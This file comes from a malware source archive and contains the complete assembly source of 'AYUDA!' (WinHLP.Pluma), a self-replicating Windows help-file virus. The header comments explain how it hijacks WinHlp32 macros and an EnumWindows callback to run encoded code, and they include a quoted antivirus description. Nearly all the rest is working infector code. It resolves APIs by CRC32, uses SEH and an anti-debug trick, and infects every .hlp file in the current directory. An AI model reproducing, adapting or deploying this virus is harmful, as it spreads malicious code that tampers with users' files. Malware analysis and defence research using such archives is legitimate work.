MalwareSourceCode/Win32/Infector/WinHLP.Pluma.txt
2020-10-16 23:26:21 +02:00

793 lines
24 KiB
Plaintext

;
; AYUDA! coded by Bumblebee/29a
; the generic HLP infector (tm)
;
; AYUDA is the spanish word for help. If you need 'ayuda' infecting hlp
; files this is the source you're looking for ;)
; But keep in mind that AYUDA is not equal to tutorial!
;
; Disclaimer:
;
; . This is the source code of a VIRUS. The author is not
; responsabile of any damage that may occur due to the assembly
; of this file. Pontius Pilate is washing his hands ;)
;
; Features:
;
; . Takes control directly from the hlp file using macros and the
; EnumWindows function. The virus body is stored in the call.
; . Searches for the required APIs using CRCs instead of names.
; . Uses SEH.
; . Infects hlp files adding a EnumWindows call in the system file
; and plazing this new system at the end of file.
; . Uses size padding as infection sign.
;
; Hlp infection brief:
;
; . The hlp infection is so easy. First you must understand the
; internal format of hlp files: is like a pakaged file system.
; Yeah! There are directories, files and so. Once you have this
; part there is another point you must take into account: how to
; give control to the virus. The solution that AYUDA exploits is
; that WinHlp32 let us say the kind of parameters an imported API
; will use. So if you look for any function with callback features
; (all the enum functions), you can change the parameter that uses
; the address of code to be executed by a string. An this string
; will be the virus code. WinHlp32 allocates memory for the string
; (a string is a pointer to a vector of chars) and passes that
; address to the enum function. Once you have the control you must
; execute the code... and that's all? NOPE! Your virus code MUST
; be a string! So you need to change the code to fit in the string
; required by WinHlp32. At this case i've encoded the virus in a
; way that allows to change the code to make WinHlp32 happy and
; later restore it for normal execution. The virus generates some
; code that pushes the entire virus into the stack. This code it's
; ok for WinHlp32 (avoids on its body some characters) and when
; executes restores the whole virus into the stack and the jumps
; there, does its work, fixes the stack and returns ending the
; callback process.
; I think that with this little explanation and the full commented
; source you'll be able to understand this kind of infection.
;
; Excuse my english!
;
; The way of the bee
;
;
; Description from:
; http://www.viruslist.com/eng/viruslist.asp?id=3981&key=000010000800002
; from AVP.
;
; WinHLP.Pluma
;
;
; This is Windows32 HLP files infector, it does function and replicate as
; a Windows Help script embedded in help file structure. See also WinHLP.Demo
; and Win95.SK".
;
; When infected HLP file is opened, the Windows Help system processes virus
; script and executes all functions placed there. By using a trick the virus
; forces Help system to execute a specially prepared data as binary Windows32
; program, these data are included in one of instructions in the virus
; script. These data themselves are the "start-up" routine that builds the
; main infection routine and executes it. The infection routine is a valid
; Windows32 procedure, and it is executed as a Windows32 application.
;
; When infection routine takes control, it scans Windows kernel (KERNEL32.DLL
; image loaded in Windows memory) in usual for Win32 executable files
; parasitic infectors, and gets addresses of necessary Windows functions
; from there. The infection routine then looks for all Windows Help files in
; the current directory, and infects them all.
;
; While infecting the virus modifies internal HLP file structure, adds its
; script to the "SYSTEM" area, converts its code to start-up routine and
; includes it into the script.
;
; The virus does not manifest itself in any way. It contains the text
; strings:
;
; < AYUDA! Coded by Bumblebee/29a >
; Cumpliendo con mi oficio
; piedra con piedra, pluma a pluma,
; pasa el invierno y deja
; sitios abandonados
; habitaciones muertas:
; yo trabajo y trabajo,
; debo substituir tantos olvidos,
; llenar de pan las tinieblas,
; fundar otra vez la esperanza.
;
;
.486p
.model flat
locals
extrn ExitProcess:PROC
HLPHEADER struc
hhMagic dd ?
hhDirectoryStart dd ?
hhNonDirectoryStart dd ?
hhEntireFileSize dd ?
HLPHEADER ends
HLPFILEHEADER struc
fhReservedSpace dd ?
fhUsedSpace dd ?
fhFileFlags db ?
HLPFILEHEADER ends
BTREEHEADER struct
bthMagic dw ?
bthFlags dw ?
bthPageSize dw ?
bthStructure db 10h dup(?)
bthMustBeZero dw ?
bthPageSplits dw ?
bthRootPage dw ?
bthMustBeNegOne dw ?
bthTotalPages dw ?
bthNLeves dw ?
bthTotalEntries dd ?
BTREEHEADER ends
; from BC++ Win32 API on-line Reference
WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends
K32WIN9X equ 0bff70000h ; Windows 95/98
vSize equ vEnd-vBegin ; size of the baby
PADDING equ 7 ; infection sign
.DATA
dummy db 'WARNING - This is a virus laucher - WARNING'
.CODE
inicio:
push eax ; simulate the callback for
push eax ; 1st generation
push offset goOut
sub esp,((vSize/2)+1)*2 ; why i'm doing this? ;)
jmp virusBegin
goOut:
push 0h
call ExitProcess
vBegin label byte
virusBegin:
pushad ; save all regs
call delta ; get delta offset
delta:
pop ebp
sub ebp,offset delta
lea eax,dword ptr [esp-8h] ; setup SEH
xor edi,edi
xchg eax,dword ptr fs:[edi]
lea edi,exception+ebp
push edi
push eax
mov esi,K32WIN9X ; fixed addr of the K32
cmp word ptr [esi],'ZM' ; K32! are you there?
jne quitSEH
; little anti-debug trick
xor edi,edi
add esi,dword ptr fs:[edi+20h]
; Get APIs stuff with CRC32 instead of names...
mov esi,dword ptr [esi+3ch]
add esi,K32WIN9X
mov esi,dword ptr [esi+78h]
add esi,K32WIN9X
add esi,1ch
lodsd
add eax,K32WIN9X
mov dword ptr [address+ebp],eax
lodsd
add eax,K32WIN9X
mov dword ptr [names+ebp],eax
lodsd
add eax,K32WIN9X
mov dword ptr [ordinals+ebp],eax
sub esi,16
lodsd
mov dword ptr [nexports+ebp],eax
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea eax,FSTAPI+ebp
searchl:
mov esi,dword ptr [names+ebp]
add esi,edx
mov esi,dword ptr [esi]
add esi,K32WIN9X
push eax edx
movzx di,byte ptr [eax+4]
call CRC32
xchg ebx,eax
pop edx eax
cmp ebx,dword ptr [eax]
je fFound
add edx,4
inc dword ptr [expcount+ebp]
push edx
mov edx,dword ptr [expcount+ebp]
cmp dword ptr [nexports+ebp],edx
pop edx
je quitSEH
jmp searchl
fFound:
shr edx,1
add edx,dword ptr [ordinals+ebp]
xor ebx,ebx
mov bx,word ptr [edx]
shl ebx,2
add ebx,dword ptr [address+ebp]
mov ecx,dword ptr [ebx]
add ecx,K32WIN9X
mov dword ptr [eax+5],ecx
add eax,9
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea ecx,ENDAPI+ebp
cmp eax,ecx
jb searchl
; infect all the hlp files in current directory
lea esi,find_data+ebp
push esi
lea esi,hlpMask+ebp
push esi
call dword ptr [_FindFirstFileA+ebp]
inc eax
jz quitSEH
dec eax
mov dword ptr [findHnd+ebp],eax
findNext:
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
mov ecx,PADDING ; test if it's infected
xor edx,edx ; yet
div ecx
or edx,edx ; reminder is zero?
jz skipThisFile
lea esi,find_data.cFileName+ebp
call infect
skipThisFile:
lea esi,find_data+ebp
push esi
push dword ptr [findHnd+ebp]
call dword ptr [_FindNextFileA+ebp] ; Find next file
or eax,eax
jnz findNext
push dword ptr [findHnd+ebp]
call dword ptr [_FindClose+ebp] ; close find handle
quitSEH:
xor esi,esi ; quit SEH
pop dword ptr fs:[esi]
pop eax
popad
add esp,((vSize/2)+1)*2 ; fix stack
xor eax,eax ; return FALSE
ret 8 ; pop the args of the call
; (are two: 2*4=8 bytes)
exception:
xor esi,esi ; we are not under
mov eax,dword ptr fs:[esi] ; win9x... a pitty
mov esp,dword ptr [eax]
jmp quitSEH
;
; does the hlp infection
; IN: esi addr of file name
;
infect:
xor eax,eax
push eax
push 80h
push 3h
push eax
push eax
push 80000000h OR 40000000h
push esi
call dword ptr [_CreateFileA+ebp]
inc eax
jz errorOut
dec eax
mov dword ptr [fHnd+ebp],eax
xor eax,eax
push eax
push eax
push eax
push 4h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jc errorOutClose
mov dword ptr [mfHnd+ebp],eax
xor eax,eax
push eax
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [mfHnd+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz errorOutCloseMap
; here begins the hlp infection stuff
; save begin of hlp header
mov edi,eax
; check is a valid HLP file
cmp dword ptr [edi.hhMagic],00035f3fh
jne notNiceHlp
; get file size information in the header (not the same than
; 'file in disk' size)
mov ecx,dword ptr [eax.hhEntireFileSize]
mov dword ptr [fileSize+ebp],ecx
; goto directory start
add edi,dword ptr [edi.hhDirectoryStart]
add edi,size HLPFILEHEADER
; check is a valid directory
cmp word ptr [edi],293bh
jne notNiceHlp
; i don't want indexed data, so only one level b-trees
; are nice for me ;)
cmp word ptr [edi.bthNLeves],1
jne notNiceHlp
; scan for |SYSTEM directory.
; search 512 bytes into the b-tree and ignore the internal
; structures of b-tree.
add edi,size BTREEHEADER
mov ecx,200h
searchSystemDir:
cmp dword ptr [edi],'SYS|'
je foundSystemDir
inc edi
loop searchSystemDir
jmp notNiceHlp
foundSystemDir:
; as i only infect non-indexed hlp files, i'm sure the
; data that follows the |SYSTEM zstring is the offset of
; the directory. 1st skip the zstring
add edi,8
; now goto to the directory (offset from hlp header)
; and set the new system directory at the end of file
mov esi,dword ptr [fileSize+ebp]
xchg esi,dword ptr [edi]
mov edi,esi
add edi,eax
; save begin of this file
mov edx,edi
add edi,size HLPFILEHEADER
; check is a system directory
cmp word ptr [edi],036ch
jne notNiceHlp
; check version
mov esi,edi
add esi,0ch
cmp word ptr [edi+2],10h
ja noTitleHere
; if has title, skip it (version <= 16)
skipTitle:
inc esi
cmp byte ptr [esi-1],0
je skipTitle
noTitleHere:
mov edi,esi
; get size of the directory
mov esi,dword ptr [edx]
; the max size of the macro, just an aproximation
add esi,((vSize/2)*10)+1000h
; alloc a temporary buffer
pushad
push 00000004h
push 00001000h
push esi
push 0
call dword ptr [_VirtualAlloc+ebp]
or eax,eax
jne bufferOk
popad
jmp notNiceHlp
bufferOk:
mov dword ptr [mHnd+ebp],eax
popad
; copy system directory plus our macro to the buffer
; 1st old system
mov edi,dword ptr [mHnd+ebp]
mov esi,edx
mov ecx,dword ptr [edx]
rep movsb
; begin 'our macro' generation
; save mapped file handle
push eax
; save begin of our macros
push edi
lea esi,hlpMacro0+ebp
mov ecx,hlpMacroSize0
rep movsb
; generate the macro 'virus body' ;)
; it sholud be more simple but... hehe
lea ecx,vBegin+ebp
lea esi,vEnd+ebp
dec ecx
dec esi
getNext:
cmp byte ptr [esi],0 ; those chars must be
je fix ; changed 'cause they have
cmp byte ptr [esi],22h ; a sentimental value
je fix ; for winhlp32 in macroz
cmp byte ptr [esi],27h
je fix
cmp byte ptr [esi],5ch
je fix
cmp byte ptr [esi],60h
je fix
mov al,0b4h
mov ah,byte ptr [esi]
stosw
dec esi
cmp esi,ecx
je macroDoneFix
getNextInPair:
cmp byte ptr [esi],0
je fix2
cmp byte ptr [esi],22h
je fix2
cmp byte ptr [esi],27h
je fix2
cmp byte ptr [esi],5ch
je fix2
cmp byte ptr [esi],60h
je fix2
mov al,0b0h
mov ah,byte ptr [esi]
stosw
mov ax,5066h
stosw
dec esi
cmp esi,ecx
je macroDone
jmp getNext
fix:
mov al,0b4h
mov ah,byte ptr [esi]
dec ah
stosw
mov ax,0c4feh
stosw
dec esi
cmp esi,ecx
je macroDoneFix
jmp getNextInPair
fix2:
mov al,0b0h
mov ah,byte ptr [esi]
dec ah
stosw
mov ax,0c0feh
stosw
mov ax,5066h
stosw
dec esi
cmp esi,ecx
je macroDone
jmp getNext
macroDoneFix:
mov al,0b0h
mov ah,90h
stosw
mov ax,5066h
stosw
macroDone:
; end the macro
lea esi,hlpMacro1+ebp
mov ecx,hlpMacroSize1
rep movsb
; fix the macro size
pop esi ; get begin of macros
mov ecx,edi ; end of macros
sub ecx,esi ; size of macros
sub ecx,offset macro1-hlpMacro
; sub size of 1st macro and
; and the header of 2nd
mov word ptr [esi+offset macroSize-hlpMacro],cx
; store it! (at its offset)
pop eax
; into edi the size of the new system
sub edi,dword ptr [mHnd+ebp]
mov dword ptr [systemSize+ebp],edi
; fix directory size plus header
mov edx,dword ptr [mHnd+ebp]
mov dword ptr [edx],edi
; fix directory size
push edi
sub edi,size HLPFILEHEADER
mov dword ptr [edx+4],edi
pop edi
; increase hlp file size
add dword ptr [eax.hhEntireFileSize],edi
; and save
push dword ptr [eax.hhEntireFileSize]
push eax
call dword ptr [_UnmapViewOfFile+ebp]
push dword ptr [mfHnd+ebp]
call dword ptr [_CloseHandle+ebp]
; get new hlp file size
pop eax
; calculate size with padding
mov ecx,PADDING
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
mov dword ptr [padSize+ebp],eax
xor eax,eax
push eax
push dword ptr [padSize+ebp]
push eax
push 4h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jc errorOutClose
mov dword ptr [mfHnd+ebp],eax
xor eax,eax
push dword ptr [padSize+ebp]
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [mfHnd+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz errorOutCloseMap
; add the modified system directory
mov edi,eax
add edi,dword ptr [fileSize+ebp]
mov esi,dword ptr [mHnd+ebp]
mov ecx,dword ptr [systemSize+ebp]
rep movsb
push eax
push 00008000h
push 0h
push dword ptr [mHnd+ebp]
call dword ptr [_VirtualFree+ebp]
pop eax
notNiceHlp:
push eax
call dword ptr [_UnmapViewOfFile+ebp]
errorOutCloseMap:
push dword ptr [mfHnd+ebp]
call dword ptr [_CloseHandle+ebp]
errorOutClose:
push dword ptr [fHnd+ebp]
call dword ptr [_CloseHandle+ebp]
errorOut:
ret
;
; CRC32
;
; IN: esi offset of data to do CRC32
; edi size to do CRC32
;
; OUT:
; eax CRC32
;
; Original routine by Vecna. Gracias!
; This is one of these piezes of code that became essential to
; the virus coder.
;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
push ebx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
pop ebx
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
copyright db '< AYUDA! Coded by Bumblebee/29a >'
messForAvers db 0dh,0ah
db 'Cumpliendo con mi oficio',0dh,0ah
db 'piedra con piedra, pluma a pluma,',0dh,0ah
db 'pasa el invierno y deja',0dh,0ah
db 'sitios abandonados',0dh,0ah
db 'habitaciones muertas:',0dh,0ah
db 'yo trabajo y trabajo,',0dh,0ah
db 'debo substituir tantos olvidos,',0dh,0ah
db 'llenar de pan las tinieblas,',0dh,0ah
db 'fundar otra vez la esperanza.',0dh,0ah
; CRC32 and plaze to store APIs used
FSTAPI label byte
CrcCreateFileA dd 08c892ddfh
size0 db 12
_CreateFileA dd 0
CrcMapViewOfFile dd 0797b49ech
size1 db 14
_MapViewOfFile dd 0
CrcCreatFileMappingA dd 096b2d96ch
size2 db 19
_CreateFileMappingA dd 0
CrcUnmapViewOfFile dd 094524b42h
size3 db 16
_UnmapViewOfFile dd 0
CrcCloseHandle dd 068624a9dh
size4 db 12
_CloseHandle dd 0
CrcFindFirstFileA dd 0ae17ebefh
size5 db 15
_FindFirstFileA dd 0
CrcFindNextFileA dd 0aa700106h
size6 db 14
_FindNextFileA dd 0
CrcFindClose dd 0c200be21h
size7 db 10
_FindClose dd 0
CrcVirtualAlloc dd 04402890eh
size8 db 13
_VirtualAlloc dd 0
CrcVirtualFree dd 02aad1211h
size9 db 12
_VirtualFree dd 0
ENDAPI label byte
; data for the macro generation
hlpMacroSize equ (endOfMacro1-hlpMacro)+vSize
hlpMacro label byte
hlpMacro0 db 4,0,macro0Ends-offset macro0,0
macro0 db 'RR("USER32","EnumWindows","SU")',0
macro0Ends label byte
db 4,0
macroSize dw ?
macro1 db 'EnumWindows("'
endOfMacro0 label byte
hlpMacro1: jmp esp
db '",0)',0
endOfMacro1 label byte
hlpMacroSize0 equ endOfMacro0-hlpMacro
hlpMacroSize1 equ endOfMacro1-offset hlpMacro1
; several handles
fHnd dd 0
mfHnd dd 0
mHnd dd 0
; to store... erm
fileSize dd 0
; file size with padding
padSize dd 0
; the size of the generated system file
systemSize dd 0
; used into API search
address dd 0
names dd 0
ordinals dd 0
nexports dd 0
expcount dd 0
; for find files
hlpMask db '*.hlp',0,0
findHnd dd 0
find_data WIN32_FIND_DATA <?>
vEnd label byte
ends
end inicio